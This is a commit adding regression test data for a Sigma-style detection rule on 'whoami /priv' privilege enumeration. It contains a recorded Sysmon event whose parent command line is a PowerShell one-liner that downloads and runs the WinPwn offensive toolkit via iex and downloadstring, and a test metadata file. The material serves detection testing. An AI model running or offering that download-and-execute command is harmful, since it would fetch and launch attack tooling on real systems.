🧪 test: add regression data for rule 97a80ec7-0e2f-4d05-9ef4-65760e634f6b

Author: frack113

regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/97a80ec7-0e2f-4d05-9ef4-65760e634f6b.evtx

@@ -0,0 +1,66 @@
+{
+  "Event": {
+    "#attributes": {
+      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
+    },
+    "System": {
+      "Provider": {
+        "#attributes": {
+          "Name": "Microsoft-Windows-Sysmon",
+          "Guid": "5770385F-C22A-43E0-BF4C-06F5698FFBD9"
+        }
+      },
+      "EventID": 1,
+      "Version": 5,
+      "Level": 4,
+      "Task": 1,
+      "Opcode": 0,
+      "Keywords": "0x8000000000000000",
+      "TimeCreated": {
+        "#attributes": {
+          "SystemTime": "2026-08-12T18:14:32.4916298Z"
+        }
+      },
+      "EventRecordID": 487492,
+      "Correlation": null,
+      "Execution": {
+        "#attributes": {
+          "ProcessID": 3288,
+          "ThreadID": 3372
+        }
+      },
+      "Channel": "Microsoft-Windows-Sysmon/Operational",
+      "Computer": "SigmaCatchVm",
+      "Security": {
+        "#attributes": {
+          "UserID": "S-1-5-18"
+        }
+      }
+    },
+    "EventData": {
+      "RuleName": "technique_id=T1033,technique_name=System Owner/User Discovery",
+      "UtcTime": "2026-08-12 18:14:32.490",
+      "ProcessGuid": "570E49AA-B808-6A7C-8A09-000000001400",
+      "ProcessId": 12244,
+      "Image": "C:\\Windows\\System32\\whoami.exe",
+      "FileVersion": "10.0.26100.1882 (WinBuild.160101.0800)",
+      "Description": "whoami - displays logged on user information",
+      "Product": "Microsoft® Windows® Operating System",
+      "Company": "Microsoft Corporation",
+      "OriginalFileName": "whoami.exe",
+      "CommandLine": "\"C:\\WINDOWS\\system32\\whoami.exe\" /priv",
+      "CurrentDirectory": "C:\\Users\\frack113\\AppData\\Local\\Temp\\",
+      "User": "SigmaCatchVm\\frack113",
+      "LogonGuid": "570E49AA-C366-6A76-1EDD-080000000000",
+      "LogonId": "0x8dd1e",
+      "TerminalSessionId": 1,
+      "IntegrityLevel": "High",
+      "Hashes": "SHA1=C23488BA47972B04F795D34B35C8257EC4B7AC9D,MD5=956692DADC5B2CEB46E9219F7A5BEFFA,SHA256=23240EF9F8B0A9A324110B1C2331DE31DC1B0E08F5359CB707E51A939AF56CD3,IMPHASH=E4464BCD92DF7AC69CCD074CB9C0EFED",
+      "ParentProcessGuid": "570E49AA-B807-6A7C-8709-000000001400",
+      "ParentProcessId": 13172,
+      "ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+      "ParentCommandLine": "\"powershell.exe\" & {$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\notherchecks -noninteractive -consoleoutput}",
+      "ParentUser": "SigmaCatchVm\\frack113"
+    }
+  }
+}

regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/97a80ec7-0e2f-4d05-9ef4-65760e634f6b.json

@@ -0,0 +1,13 @@
+id: 63e01db5-462d-4c95-a4a5-637f8b7b593d
+description: N/A
+date: 2026-08-12
+author: frack113
+rule_metadata:
+- id: 97a80ec7-0e2f-4d05-9ef4-65760e634f6b
+  title: Security Privileges Enumeration Via Whoami.EXE
+regression_tests_info:
+- name: Positive Detection Test
+  type: evtx
+  provider: Microsoft-Windows-Sysmon
+  match_count: 1
+  path: regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/97a80ec7-0e2f-4d05-9ef4-65760e634f6b.evtx

regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/info.yml

@@ -26,3 +26,4 @@ detection:
 falsepositives:
     - Unknown
 level: high
+regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/info.yml